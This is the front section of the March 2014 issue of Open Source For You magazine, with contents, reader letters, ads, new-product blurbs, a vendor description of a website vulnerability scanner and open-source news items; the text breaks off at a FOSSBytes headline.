en_Source_...rch 2014 by Hiba Dweib

THE COMPLETE MAGAZINE ON OPEN SOURCE

Volume: 02 | Issue: 06 | Pages: 112 | March 2014

Contents Developers 24

Developing Web Apps with Bootstrap

Turbocharged Tracing with LTTng

Demystifying HTML 5 Attacks

Admin 53

Three Tools to Help You Protect Your Network

58 Monitor Your Network Effectively with Monit

Case Study: Microfinance Institution Grameen Koota Combats Roadblocks with Open Source

Monitoring Log Files with Nagios Plugins

Choose the Best Network Monitoring Tool for Your Needs

Set Up a Reverse Proxy in Apache

Rainmail Intranet Server A Complete IT Set-up for the Enterprise

Caching Django websites with Memcached

Setting up Dovecot, the IMAP Server

Open Gurus 81

Create an Android-friendly Hotspot in Linux

FOR YOU & ME

38 Android Apps Made Easy with Processing

46 Analyse Java Memory Dump with Eclipse REGULAR FEATURES 08 You Said It... 10 Q&A Powered By

18 FOSSBytes 52 Editorial Calendar 105 FOSS Jobs 108 Tips & Tricks

OSFY Facebook

Emerging Technologies: Enhanced by Open Source

11 Offers of the Month

Use Maxima for the Simplification of Expressions

12 New Products

4 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Contents

Editor

Rahul chopra

Editorial, Subscriptions & Advertising Delhi (HQ) D-87/1, Okhla Industrial Area, Phase I, New Delhi 110020 Phone: (011) 26810602, 26810603; Fax: 26817563 E-mail: info@efyindia.com BENGALURU Ms Jayashree Ph: (080) 25260023; Fax: 25260394 E-mail: efyblr@efyindia.com

Customer Care

e-mail: support@efyindia.com

Back Issues Kits ‘n’ Spares New Delhi 110020 Phone: (011) 26371661-2 E-mail: info@kitsnspares.com Website: www.kitsnspares.com

Advertising CHENNAI Saravana Anand Mobile: 09916390422 E-mail: efychn@efyindia.com HYDERABAD Saravana Anand Mobile: 09916390422 E-mail: efyhyd@efyindia.com Kolkata Mobile: 08800094201 E-mail: efycal@efyindia.com

78 RAMCloud: The Future of Storage Systems 94

Why Doesn’t MIDI Work On My PC?

CIO Talk: “We are probably a very good fit to address the large Big Data challenges”— Kamal Brar, vice president, Asia Pacific (APAC) region, MongoDB

Boost Your Employability with Hadoop Skills

Indian Banks: Will the End of Life of Windows XP Give Linux a Boost?

101Lava Banks on Open Source

to Conquer Smartphone Market

Columns 34 44 51

of its Business— Gautam Rege, co-founder and director, Josh Software

PUNE Manoj Chopra; Ph: 09223232006 E-mail: efypune@efyindia.com gUJaRAT Sandeep Roy E-mail: efyahd@efyindia.com Ph: 09821267855 sINGAPORE Ms Peggy Thay Ph: +65-6836 2272; Fax: +65-6297 7302 E-mail: pthay@publicitas.com, singapore@publicitas.com United States Ms Veronique Lamarque, E & Tech Media Phone: +1 860 536 6677 E-mail: veroniquelamarque@gmail.com china Ms Terry Qin, Power Pioneer Group Inc. Shenzhen-518031 Ph: (86 755) 83729797; Fax: (86 21) 6455 2379 Mobile: (86) 13923802595, 18603055818 E-mail: terryqin@powerpioneergroup.com, ppgterry@gmail.com taiwan Leon Chen, J.K. Media Taipei City Ph: 886-2-87726780 ext.10; Fax: 886-2-87726787

CodeSport

Exclusive News-stand Distributor (India)

Joy of Programming: Understanding Concurrency Bugs

ibh Books and Magazines Distributors Pvt Ltd Arch No, 30, below Mahalaxmi Bridge, Mahalaxmi, Mumbai - 400034 Tel: 022- 40497401, 40497402, 40497474, 40497479, Fax: 40497434 E-mail: info@ibhworld.com

Exploring Software: Building a Web Application Using Mochiweb

Printed, published and owned by Ramesh Chopra. Printed at Tara Art Printers Pvt Ltd, A-46,47, Sec-5, Noida, on 28th of the previous month, and published from D-87/1, Okhla Industrial Area, Phase I, New Delhi 110020. Copyright © 2013. All articles in this issue, except for interviews, verbatim quotes, or unless otherwise explicitly mentioned, will be released under Creative Commons Attribution-NonCommercial 3.0 Unported License a month after the date of publication. Refer to http://creativecommons.org/licenses/by-nc/3.0/ for a copy of the licence. Although every effort is made to ensure accuracy, no responsibility whatsoever is taken for any loss due to publishing errors. Articles that cannot be used are returned to the authors if accompanied by a self-addressed and sufficiently stamped envelope. But no responsibility is taken for any loss or delay in returning the material. Disputes, if any, will be settled in a New Delhi court only.

LEADING PLAYERS A List of Data Security Solutions Providers Josh Software, Open 106 For Source is the Backbone

mumbai Ms Flory D’Souza Ph: (022) 24950047, 24928520; Fax: 24954278 E-mail: efymum@efyindia.com

DVD Of The Month This month we present the newest version of Mageia 4 and Clonezilla, for you to try out.

6 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

103

SUBSCRIPTION RATES Period News-stand price

110

You Pay Overseas Year (`) (`) Five 6000 3600 — Three 3600 2520 — One 1200 960 US$ 120 Kindly add ` 50/- for outside Delhi cheques. Please send payments only in favour of EFY Enterprises Pvt Ltd. Non-receipt of copies may be reported to support@efyindia.com—do mention your subscription number.

YOU SAID IT What licence are OSFY articles released under? Could I know what licence OSFY articles are released under? According to the Wikipedia page, after a month, published articles are released under a Creative Commons licence. Is this information accurate? I was curious about the licence as I wanted to know whether I could publish the article I wrote for OSFY (August 2013 edition) on my blog? —Tushar Bhargava, tushar1995@gmail.com ED: Thanks for your mail. According to our editorial policies, all articles, except for interviews, verbatim quotes, or unless otherwise explicitly mentioned, will be released under Creative Commons Attribution - NonCommercial 3.0 Unported License a month after the date of publication. Refer to http://creativecommons.org/ licenses/by-nc/3.0/ for a copy of the licence. So, since your article was published in the August 2013 edition, you can definitely re-publish it on your blog or even somewhere else.

More content for newbies I have been reading OSFY for months and I find the content of the magazine very useful. However, I also feel that there are hardly any articles for beginners, and I am sure there are many who feel the same. It would be great if you included some content for newbies too in the upcoming editions of OSFY. —Shameer M, shameerjmc@gmail.com ED: It gives us great satisfaction when our readers tell us that they find the content of OSFY useful. We will definitely try to include more content for newbies. However, you can also check our website www.opensourceforu.com as we do publish some articles meant for newbies online. Please feel free to give us more suggestions and keep reading OSFY!

Articles on Drupal I am a regular reader of OSFY, and I would like to thank you for providing such useful and up-to-date content on open source technologies. I have a small request to make. In your

Share Your

upcoming editions, it would be great if you could focus on Drupal CMS from a developer’s perspective. —Tanzeel Khan, khantanzeel@live.com ED: Thanks for the words of appreciation. We aim to continue publishing well-informed articles so that our readers get to know everything about open source. We have featured some articles on Drupal CMS. Here are the links: http://www.linuxforu. com/2013/12/improve-performance-drupal-sites/ http://www.linuxforu.com/2013/12/tuning-lamp-stack-boostperformance-drupal/ Let us know if this helps. We hope to incorporate more such articles in our future editions. Articles on Git

Priyanshu Chauhan: Can you please give

a kickstart guide on GIT version control? Thank you.

Open Source For You: We have featured

a few articles on GIT in earlier issues of OSFY. You can check the September 2012 and October 2012 issues, for more on GIT.

Priyanshu Chauhan: Thanks. Will check it out.

Sites on penetration testing

VeñkâTešh Invincible: Are there any good

sites that you could suggest to learn about penetration tests and checking websites for vulnerabilities?

Open Source For You: Thanks a lot for

reaching out to us! You can visit the site: https://pentest-tools.com/home. However, we have a vibrant Facebook community out there and suggest that you post this query on our Facebook wall. You are sure to get varied answers from the community.

Please send your comments or suggestions to: The Editor, Open Source For You, D-87/1, Okhla Industrial Area, Phase I, New Delhi 110020, Phone: 011-26810601/02/03, Fax: 011-26817563, Email: osfyedit@efyindia.com

8 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

www.facebook.com/linuxforyou Praveen Klp: Which Internet Security Virus Scanner is the best?

Subrata Saha: We had successfully configured SAMBA4 Domain Controller and added Windows 7 and XP client without doing any registry change. We are looking for any open source solution how to access that Domain controller via Browser in a network.

Like . comment

Vicky M Arakh: If you make a method of updating your antivirus on a daily basis, I would vouch for QuickHeal or Kaspersky.

Like . comment

Shivam Gupta: I would recommend the Virus

Anand Kethavarapu: Instead of Samba4, try Open-

Scanner which has a deep scanning technique and updates itself quickly. That means the Virus Defination Table remains updated with Current Virus Defination.

LDAP to configure DC and it is free.

Libre Vyas: I want to back up my whole OS as a

Hugo Desconstrutor: Hi, I am looking for a nice alternative to dreamstudio. Does anybody know of a Mint distro? I hate unity, its only good to slow down my PC.

bootable ISO. I am using Ubuntu precise pangolin. How should I go about the same?

Like . comment

Ömer Gecekuşu: Check this out if you want to back

Santiago Acevedo: Try Mint Devian,or Mint XFCE.

up your HDD. Here is the link: http://www.dedoimedo. com/compu.../free_imaging_software.html

I use the last one, but is not as visually nice as Mint Cinnamon.

Image quality is poor as the photos have been directly taken from www.facebook.com Statement about ownership and other particulars about open source For You FORM IV (See Rule 8) 1. Place of publication

New Delhi

2. Periodicity of its publication

Monthly

3. Printer’s Name : Nationality : Address :

Ramesh Chopra Indian open source For You D-87/1, Okhla Industrial Area, Phase-1, New Delhi 110020

4. Publisher’s Name Nationality and address

Same as (3) above

Names and addresses of : individuals who own the newspaper & partners or shareholders holding more than 1% of the total capital

EFY Enterprises Pvt Ltd D-87/1, Okhla Industrial Area, Phase-1, New Delhi 110020

I, Ramesh Chopra, hereby declare that the particulars given above are true to the best of my knowledge and belief. Date: 28-2-2014

10 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Ramesh Chopra Publisher

offe

One month free

2000 Rupees Coupon

(Free Trial Coupon)

Free Dedicated Server Hosting for one month Subscribe for our Annual Package of Dedicated Server Hosting & enjoy 1 month free service

Hurry!till 31st alid Offer vch 2014! Mar

THE monTH

For more information, call us on 1800-209-3006/ +91-253-6636500

No Condition Attached for Trial of our Cloud Platform Hurry!till 31st alid Offer vch 2014! Mar

35%

Get 10% discount

off & more Reseller package special offer ! Free Dedicated hosting/VPS for one month. Subscribe for annual package of Dedicated hosting/VPS and get 1 month FREE Contact us at 09841073179 or Write to sales@space2host.com

Hurry!till 31st alid Offer vch 2014! Mar

Subscribe for the Annual Packages of Dedicated Server Hosting & Enjoy Next 12 Month Free Services For more information, call us on 1800-212-2022 / +91-120-666-7777

www.goforhosting.com

20 % off on online training

Learn to master your field

Get flat 20% discount on every course Hurry!till 31st alid Offer vch 2014! Mar

Use coupon code: OSFYFEB2014 Contact us at +91-98877 89124 or Write to info@grass.com Catch us on facebook.com/grass

www.grras.org

www.vectratech.in

Get 25% Pay Annually & get 12 Month Free Services on Dedicated Server Hosting

“Do not wait! Be a part of the winning team” Get 35% off on course fees and if you appear for two Red Hat exams, the second shot is free.

www.space2host.com

12 Month Free

For more information, call us on 1800-212-2022 / +91-120-666-7718

www.cloudoye.com

www.esds.co.in

Hurry!till 31st alid r e Off vch 2014! Mar

Enjoy & Please share Feedback at sales@cloudoye.com

Off

PACKWEB

PACK WEB HOSTING ProX

Time to go PRO now

Considering VPS or a Dedicated Server? Save Big !!! And go with our ProX Plans

Hurry!till 31st alid Offer vch 2014! Mar

25% Off on ProX Plans - Ideal for running High Traffic or E-Commerce Websites. Coupon Code : OSFY0214 Contact us at 98769-44977 or Write to support@packwebhosting.com

www.prox.packwebhosting.com

To advertise here, contact Omar on +91-995 888 1862 or 011-26810601/02/03 or Write to omar.farooq@efyindia.com www.linuxforu.com

new products Access the Internet any time with D-Link’s mobile router If you are looking to access high speed Internet while you are on the move, D-Link’s 3G enabled mobile router, the DWR-730, can be a good option. D-Link DWM-730 is a business card sized, portable HSPA+ 21.6 MBps router that allows users to connect notebooks, tablets and smartphones to the Internet anytime via a 3G connection. Users can also share this connection with up to eight users wirelessly. The D-Link DWR-730 router is unlocked and is compatible with both Linux and Windows and a wide range of mobile service networks. D-Link DWR-730 is currently available all across India, and is being retailed through D-Link’s wide network of business distributors, channel partners and large format retail stores. Anoop Jarial, VP, Product Marketing, D-Link (India) Limited, said, “There is a constant demand for Internet devices offering high-speed connectivity. D-Link has always been in the forefront offering the latest and the best of networking technology. This new 3G-enabled device from D-Link is designed to address the needs of frequent travellers, home users and people seeking wire-free connectivity.”

Price: ` 3,990

Address: D-Link India, Kalpataru Square, 2nd Floor, Unit No 24, Kondivita Lane, Andheri Kurla Road, MIDC Industrial Estate, Bhim Nagar, Andheri East, Mumbai, Maharashtra 400059; Ph: 1800 22 8998; Email: helpdesk@dlink.co.in; Website: http://www.dlink.co.in

Get a dose of style with Intex Aqua Curve Here is a smartphone that has joined the curved display brigade. Intex Aqua Curve comes with a 12.7 cm (5 inch) qHD OGS (One Glass Solution)-based curved display and with a resolution of 540×960 pixels. Priced at Rs 12,490, the smartphone runs Android 4.2 (Jelly Bean) and is armed with a 1.3 GHz quad core processor. The Aqua Curve comes fitted with an 8 MP rear and 2 MP front camera, and has 1 GB of RAM. Armed with a 2,000 mAh battery, the smartphone also has 4 GB of internal memory, which is expandable up to 32 GB. At the launch, Sudhir Kumar, product head, Mobiles, Intex, said, “This is the first product from Intex that has an octa core processor. It also has a built-in dual speaker, so it is a treat for those who love to have a premium multimedia experience in a cost-effective manner. We, at Intex, will continue to innovate, and now our main focus is on being the first to bring the latest technology to the country.”

Price: ` 12,490

Address: Intex Technologies (India) Limited, D-18/2, Okhla Industrial Area, Phase II, New Delhi 110020; Ph: +91 11 41610224/25/26; Email: info@intextechnologies. com; Website: http://www.intextechnologies.com

Check out this voice-calling tablet from Wickedleak In an effort to increase the number of devices in its portfolio, Wickedleak has come out with its latest offering - Wammy Ethos Tab 3. Priced at Rs 10,990, the voice-calling tablet runs Android 4.2 (Jelly Bean) and sports a 17.7 cm (7 inch) IPS display screen with a resolution of 1024×600 pixels. It has a 1.2 GHz quad core MediaTek MTK8389 processor, comes with 1 GB of RAM, and features a 5 MP rear and a 2 MP front camera. The Wammy Ethos Tab 3 has a 3500 mAh battery and 8 GB internal memory that can be expanded up to 32 GB. Aditya Mehta, CEO, Wickedleak, said, “This is the first quad core tablet that has a dual SIM. From watching movies and listening to your favourite track, to having a great multimedia experience, you can do it all, and that too at an amazing price point.”

Price: ` 10,990

Address: Wickedleak Inc, Aditya Villa, Waman Wadi, S T Road, Chembur, Mumbai 400071; Ph: 022-65017532: Website: www.wickedleak.org

12 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

CISO Platform th 4 TOP 100 CISO AWARDS April 4 - 6, 2014 Agra Join the largest Community of Information Security Executives @ 4th TOP 100 CISO AWARDS

visit www.cisoplatform.com

BECOME A

MEMBER

JOIN

NOW!

new products

Portronics launches Bluetooth headset called Ecollar

Portronics has come up with a stylish Bluetooth headset, which acts as a controller to your smartphones and tablets. This handsfree mobile companion allows you near perfect control of your smartphone and tablet, enabling you to safely use your phones’ functionality while driving. The Ecollar is available in black with a very sleek design. The Ecollar comes in a very compact and stylish crystal packing, bundled with a set of in-ear headphones with rubber tips that give you a good fit, and a micro USB charging cable. The ear phones are designed to be worn around your neck. The face of the device supports the buttons for volume and track control, and a call button for receiving calls. The device alerts you when a call comes in, which can be received with the tap of one button on the device. The coolest feature of the Ecollar is that you can connect it to any set of speakers, provided they use a 3.5 mm jack, to make them Bluetooth compatible. Shared Jasmeet Singh, director, Portronics, “We have always tried to come out with unique products for consumers at all levels. We hope to continue coming up with innovative products in the future too, and expand our portfolio.”

Price: ` 2,200

Address: Portronics Digital Pvt Ltd, 4E /14 Azad Bhavan, Jhandewalan, New Delhi 110055; Ph: 1800-1034241; Email: supportcenter@portronics.com; Website: http://www.portronics.com

Xolo expands its Q series with Q1100 Xolo has been on a launching spree! After coming out with a series of smartphones, the company has launched the Q1100, which has a 12.7 cm (5 inch) HD display and runs Android 4.3. Priced at Rs 14,999, it is armed with a quad-core Qualcomm Snapdragon 400 (MSM 8228) processor, clocked at 1.4 GHz. Powered with a 2000 mAh battery, the smartphone comes fitted with an 8 MP rear and 2 MP front camera. The Xolo Q1100 handset comes with 8 GB of in-built storage, which can be expanded up to 32 GB via a microSD card. At the launch, Sunil Raina, business head at Xolo, said, “The Xolo Q1100 is amazing not only in terms of the smartphone experience, but also in terms of its value proposition. The increasing consumer base for a large-screen device has prompted us to once again bring out such a device into the market.”

Price: ` 14,999

Address: Lava International Ltd, A-56, Sector 64, Noida 201301; Ph: 0-120-4637100; Email: care@lavainternational.in; Website: http://www.lavamobiles.com

Up your style quotient with Lava Iris Pro 30 If you are looking for a chic smartphone, Lava Iris Pro 30 can be a good buy. Priced at Rs 15,999, the smartphone features an 11.9 cm (4.7 inch) HD display with a resolution of 1280×720 pixels and with a pixel density of 312 ppi. The dual-SIM Android 4.2 device sports an 8 MP rear and 3 MP front camera, and is powered by a 1.2 GHz quad-core processor and 1 GB of RAM. It has a 2,000 mAh battery, and 4 GB of internal memory that can be expanded to 32 GB via a microSD card. Connectivity features of the Lava Iris Pro 30 include 3G (HSPA+), Wi-Fi, Bluetooth, GPS/A-GPS, Micro-USB with OTG, and a 3.5mm audio jack. Shared S N Rai, co-founder and director of Lava International Ltd, “If you want a device that has a perfect blend of style and power, Iris Pro 30 is just for you. We are happy with the growth of the brand, and we hope to deliver the best for our consumers with our varied range of products.”

Price: ` 15,999

Address: Lava International Ltd, A-56, Sector 64, Noida 201301; Ph: 0-120-4637100; Email: care@lavainternational.in; Website: http://www.lavamobiles.com

14 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

In The News

ESDS launches MTvScan

SDS Software Solution Pvt Ltd is a well known name in the Web hosting industry. With five of its major brands being present in markets spread across three continents, ESDS has always offered its customers effective and cost-efficient solutions for the past nine years. ESDS has launched a first-of-its-kind service that can be considered as a complete online threat and vulnerability management service. It is known as ‘MTvScan’, which is a short form of Malware Trojan Vulnerability Scan. MTvScan audits the website or Web application online, so users need not give server level access to ESDS.

The features of MTvScan

1. Checks domain reputation in Google, SURBL, Malware Patrol, Clean-Mx, Phishtank: MTvScan checks whether its client’s domain is listed with the databases mentioned above, as they store IP addresses and domains that lead to malware, spamming and phishing activities. 2. Checks mail server IP in 58 RBL repositories: RBL (Real-time Blackhole List) or DNSBL (DNS-based Blackhole List) is a list of IP addresses whose owners refuse to stop the proliferation of spam. The RBL usually lists server IP addresses from ISPs whose customers are responsible for the spam, and from ISPs whose servers are hijacked for spam relay. 3. Scans MySQL, MSSQL, PGSQL, Oracle databases for SQL injections: It is a trick that exploits poorly filtered or not correctly escaped SQL queries into parsing variable data from user input. 4. Scans Local File Injections (LFI): An LFI injects files on a server through the Web browser. This vulnerability occurs when a page that is included is not properly sanitised and allows directory traversal characters to be injected. 5. Scans Remote File Inclusion (RFI): An RFI allows an attacker to include a remote file, usually through a script on the Web server. The vulnerability occurs due to the use of user-supplied input without proper validation. This can cause code execution on the Web server. Code execution on the client-side, such as JavaScript, can lead to other attacks such as cross site scripting (XSS), DoS, data theft, etc. 6. Scans XSS or cross site scripting • This is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject a client-side script into Web pages viewed by other users. 16 | March 2014 | OPEN SOURCE For You |www.OpenSourceForU.com

• Detects forms on the Web pages and scans for GET and POST requests. • Currently, it scans for reflected XSS. There are future plans for stored XSS, which occurs when a Web application gathers input from a user which might be malicious, and then stores that input in a data store for later use. 7. Scans malware • Website defacement checks: Website defacement is an attack on a website that changes the visual appearance of the site or a Web page. • Forceful redirect injection testing. • Scans JavaScript code snippets against generic signatures: Checks for dangerous JavaScript functions like eval, base64_decode, char, etc. Checks for Iframes. • Special algorithm developed to detect JavaScript obfuscation: Obfuscation is used to convert vulnerable code into unreadable format. • Third party links check: It checks third party links with reputation databases. 8. Intelliscan: This is agent-based serverside source code scanning. • Scans all files for generic signatures. • Scans all files with LMD MD5 and Hex signatures. • JavaScript obfuscation detection. 9. Detects and scans CMS • Very few scanners provide this feature. • Scans WordPress, Joomla and vBulletine. • Scans themes, plugins and unprotected admin areas. • User enumeration. • Brute forcing to detect simple passwords. • FPD - File Path Disclosure scanning. • Scans CMS in all directories. 10. Checks for open ports on the server 11. Banner scanning: Administrators can use this to take an inventory of the systems and services on their network. An intruder can use banner grabbing in order to find network hosts that are running versions of applications and operating systems with known exploits. 12. Directory scanning: The goal of this scan is to order an application to detect a computer file that is not intended to be accessible. This is caused by a lack of security for directory access on the Web server. 13. Detects open or sensitive admin areas of the site: Scans for sensitive areas on the sites, which ought not to be open to all. 14. Reverse IP domain check: Finds out all other domains hosted on the same server (the server on which the scanning domain is hosted).

OSFYClassifieds Classifieds for Linux & Open Source IT Training Institutes IPSR Solutions Ltd.

WESTERN REGION

SOUTHERN REGION

Linux Lab (empowering linux mastery) Courses Offered: Enterprise Linux & VMware

*astTECS Academy Courses Offered: Basic Asterisk Course, Advanced Asterisk Course, Free PBX Course, Vici Dial Administration Course

Courses Offered: RHCE, RHCVA, RHCSS, RHCDS, RHCA, Produced Highest number of Red Hat professionals in the world

Address (HQ): 1176, 12th B Main, HAL 2nd Stage, Indiranagar, Bangalore - 560008, India Contact Person: Lt. Col. Shaju N. T. Contact No.: +91-9611192237 Email: info@asterisk-training.com Website: www.asttecs.com, www.asterisk-training.com

Address (HQ): Merchant's Association Building, M.L. Road, Kottayam - 686001, Kerala, India Contact Person: Benila Mendus Contact No.: +91-9447294635 Email: training@ipsrsolutions.com Branch(es): Kochi, Kozhikode, Thrissur, Trivandrum Website: www.ipsr.org

Advantage Pro Courses Offered: RHCSS, RHCVA, RHCE, PHP, Perl, Python, Ruby, Ajax, A prominent player in Open Source Technology

Linux Learning Centre Courses Offered: Linux OS Admin & Security Courses for Migration, Courses for Developers, RHCE, RHCVA, RHCSS, NCLP

Address (HQ): 1 & 2 , 4th Floor, Jhaver Plaza, 1A Nungambakkam High Road, Chennai - 600 034, India Contact Person: Ms. Rema Contact No.: +91-9840982185 Email: enquiry@vectratech.in Website(s): www.vectratech.in

Address (HQ): 635, 6th Main Road, Hanumanthnagar, Bangalore - 560 019, India Contact Person: Mr. Ramesh Kumar Contact No.: +91-80-22428538, 26780762, 65680048 / +91-9845057731, 9449857731 Email: info@linuxlearningcentre.com Branch(es): Bangalore Website: www.linuxlearningcentre.com

Address (HQ): 1104, D’ Gold House, Nr. Bharat Petrol Pump, Ghyaneshwer Paduka Chowk, FC Road, Shivajinagar Pune-411 005 Contact Person: Mr.Bhavesh M. Nayani Contact No.: +020 60602277, +91 8793342945 Email: info@linuxlab.org.in Branch(es): coming soon Website: www.linuxlab.org.in Linux Training & Certification Courses Offered: RHCSA, RHCE, RHCVA, RHCSS, NCLA, NCLP, Linux Basics, Shell Scripting, (Coming soon) MySQL Address (HQ): 104B Instant Plaza, Behind Nagrik Stores, Near Ashok Cinema, Thane Station West - 400601, Maharashtra, India Contact Person: Ms. Swati Farde Contact No.: +91-22-25379116/ +91-9869502832 Email: mail@ltcert.com Website: www.ltcert.com

NORTHERN REGION GRRASLinuxTrainingandDevelopmentCenter Courses Offered: RHCE,RHCSS,RHCVA, CCNA,PHP,ShellScripting(onlinetraining isalsoavailable) Address (HQ): GRRASLinuxTrainingand DevelopmentCenter,219,HimmatNagar, BehindKiranSweets,GopalpuraTurn, TonkRoad,Jaipur,Rajasthan,India Contact Person: Mr.AkhileshJain Contact No.: +91-141-3136868/ +91-9983340133,9785598711,9887789124 Email: info@grras.com Branch(es): Nagpur,Pune Website(s): www.grras.org,www.grras.com

Duestor Technologies Courses Offered: Solaris, AIX, RHEL, HP UX, SAN Administration (Netapp, EMC, HDS, HP), Virtualisation(VMWare, Citrix, OVM), Cloud Computing, Enterprise Middleware. Address (H.Q.): 2-88, 1st floor, Sai Nagar Colony, Chaitanyapuri, Hyderabad - 060 Contact Person: Mr. Amit Contact Number(s): +91-9030450039, +91-9030450397. E-mail id(s): info@duestor.com Websit(es): www.duestor.com

Eastern Region Academy of Engineering and Management (AEM) Courses Offered: RHCE, RHCVA, RHCSS,Clustering & Storage, Advanced Linux, Shell Scripting, CCNA, MCITP, A+, N+ Address (HQ): North Kolkata, 2/80 Dumdum Road, Near Dumdum Metro Station, 1st & 2nd Floor, Kolkata - 700074 Contact Person: Mr. Tuhin Sinha Contact No.: +91-9830075018, 9830051236 Email: sinhatuhin1@gmail.com Branch(es): North & South Kolkata Website: www.aemk.org

FOSSBYTES Powered by www.efytimes.com

Mageia 4 released Following a slew of development builds, the final version of the Mageia operating system has finally drawn its first breath. Mageia 4, which started off as a fork of the Mandriva Linux distro, has arrived, and the spec sheet does boast of an impressive array of changes and improvements. The official announcement read, “Right on time, and just in time for the first day of FOSDEM 2014, we have the great pleasure of announcing Mageia 4. We’re still having a grand time doing this together, and we hope you enjoy this release as much as we’ve enjoyed making it. And if you’re at FOSDEM, come and help us celebrate!” The ‘new' OS is a GNU/ Linux-based ‘free' operating system that is supported by a non-profit organisation of elected contributors. With Mageia 4, developers seek to keep the OS that was originally a fork of Mandriva, alive!

India-Born Satya Nadella is the new CEO of Microsoft

Microsoft has finally got a new CEO and it is none other than India-born Satya Nadella. The news from the Redmond giant came after months of speculation. “Satya Nadella is appointed as Microsoft's CEO, effective immediately,” read the company announcement. Nadella has replaced Steve Ballmer, who resigned last year. Microsoft co-founder Bill Gates, said, “During this time of transformation, there is no better person to lead Microsoft than Satya Nadella.” "Satya is a proven leader with hard-core engineering skills, business vision and the ability to bring people together. His vision for how technology will be used and experienced around the world is exactly what Microsoft needs,” he added. In addition, Bill Gates, who was the chairman of the board of directors, will step down from his position and assume a new role on the board as technology advisor. John Thompson is to assume the role of chairman, according to a statement from Microsoft.

Vodafone now supports Ubuntu!

Even as the market remains clueless regarding when the first Ubuntu-powered smartphone will be available, there's good news coming for the open source community. The Vodafone Group, a popular carrier, has now become the latest to join the Ubuntu Carrier Advisor Group, something that will help Ubuntu mobile devices reach as many users as possible! 18 | March 2014 | OPEN SOURCE For You | www.OpenSourceForU.com

Mozilla Firefox 27 arrives

Mozilla has released Firefox 27, which comes with as many as 13 security advisories attached, and delivers an improved performance. To sum it up, the debut open source Firefox release of 2014 comes with security and performance that is notches higher than its predecessor. Notably, four of the security advisories have been ranked as being ‘critical'. At least one of the critical updates is for a group of vulnerabilities labelled ‘Miscellaneous memory safety hazards'. PC maker Hewlett-Packard had earlier reported concerns over a use-after-free memory error that enables attackers to launch an arbitrary attack by utilising legitimate memory space. Mozilla Firefox 27 comes with a fix for the problem, while also providing a fix for a download dialogue box window issue that could potentially enable a spoofing attack. At the same time, the release offers a fix to an issue rated as having low impact that could enable an attacker to reset a user's profile. And it now includes default support for the Transport Layer Security (TLS) 1.2 specification.

Here's a CPU-Z hardware stat tool for Linux!

If you're an ardent Windows user, you will know about CPU-Z, the freeware application that caters to all your technical trivia needs, giving in-depth stats on your system hardware. Now, if you have switched to the user-friendly Linux, and you're looking for a CPU-Z like app, you can try i-Nex. i-Nex is an app similar in design and aim to the CPU-Z, but available for Linux. It can be used to get indepth stats on your system hardware, from your CPU to your sound card and more. Further, the app also returns software information on systems distribution, environment, windows manager, etc.

FOSSBYTES “Vodafone will join national and multi-national carriers in decisions that influence the development of Ubuntu for smartphones,” sources at Canonical said in an official statement. This means that Vodafone will soon make sure users all across its global network have access to Ubuntu-powered mobile devices. Ubuntu Carrier Advisor Group also includes China Unicom, Deutsche Telekom, Everything Everywhere, SK Telecom, Telecom Italia, Telstra, T-Mobile and Verizon Wireless.

LibreOffice 4.2 released

The Document Foundation has now come out with the latest version of LibreOffice, the popular open source office suite. LibreOffice 4.2 comes with a set of new and improved features for power and enterprise users. It will be shipped as part of Ubuntu 14.04 LTS later this year. "LibreOffice 4.2 features a large number of performance and interoperability improvements targeted at users of all kinds, but particularly appealing for power and enterprise users," the developers claim. The update has gone through what is supposedly the ‘largest' code refactoring ever, claims the Foundation. This gives it a major performance boost for big data. An optional new formula interpreter enables massively parallel calculation of formula cells using the GPU via OpenCL that works best with a Heterogeneous System Architecture (HSA). The update includes improved integration with Windows. LibreOffice 4.2 offers round-trip interoperability with Microsoft OOXML (particularly for DOCX and legacy RTF). It comes with a simplified custom install dialogue box to avoid potential mistakes. Users can now centrally manage and lock-down the configuration with Group Policy Objects via Active Directory. It also comes with a new Start screen, and a much cleaner layout.

US high school gives away 1,725 Linux-powered laptops to students!

The Penn Manor High School in the US has doled out as many as 1,725 Linuxpowered laptops to its students. The school has provided every student, from grades 9-12, an Acer TravelMate laptop preloaded with Ubuntu 13.10. Following a roughly 5-minute orientation, students were then let lose to use their creativity on the devices. “We encourage our students to install software and lift the hood of the system to better understand what makes it tick. I hope our students run local Web servers, toy with Python or simply explore graphics programs such as the GIMP. Linux offers so many opportunities to explore computing, programming and the arts," the school’s technology director, Charlie Reisinger, was quoted as saying. “Linux allows a level of exploration and control that other closed devices don't. The cost savings in switching to all open source software is an added benefit," Reisinger added.

OpenDaylight’s first open source, software-defined network release is out

In an attempt to tackle one of IT’s toughest challenges, which is simplifying network management, OpenDaylight (an open source, software-defined networking platform) is finally out with its ‘first' release. The first release of the program, Hydrogen, “…is a great step forward and the community is already looking to build

CyanogenMod 11.0 M3 debuts for over 50 devices

The CyanogenMod team has announced the release of CM 11.0 M Snapshot builds based on Android 4.4 KitKat for as many as 50 devices and variants. The new builds come with a slew of new additions, the most prominent being the revamped Trebuchet launcher, which is now based on KitKat launcher. “M3 includes the return of Trebuchet, now based on Kitkat’s Launcher3 code base, and has been completely rewritten by its maintainer Nebojša Cvetkovi (nebkat). Additional work has been included to provide universal icon pack support by Danesh M (devatwork),” said the CM team in a blog post. Another major addition is the Privacy Guard, which can be used to control an app from auto-starting. Further, for users updating from 10.2 or a previous 11-M build, the new version of Trebuchet will preserve your home screen data if you were previously using Launcher3 or Trebuchet. Meanwhile, the upcoming release of CM 11.0 will have left-handed navigation bar support, additional transparency in the SystemUI, icon mask support in the launcher, better themes integration, and Google Nowlike experiences in Trebuchet. Here are some of the more popular devices getting the CM 11.0 M3 build:

Samsung Galaxy S4 and variants Nexus devices Samsung Galaxy S, S II, S III and their variants LG Optimus G, G2 and G Pro HTC One, Droid DNA, One X, One X+ and One S Nook Color

www.OpenSourceForU.com | OPEN SOURCE For You | march 2014 | 19

FOSSBYTES

India gets its first ‘School in the Cloud'!

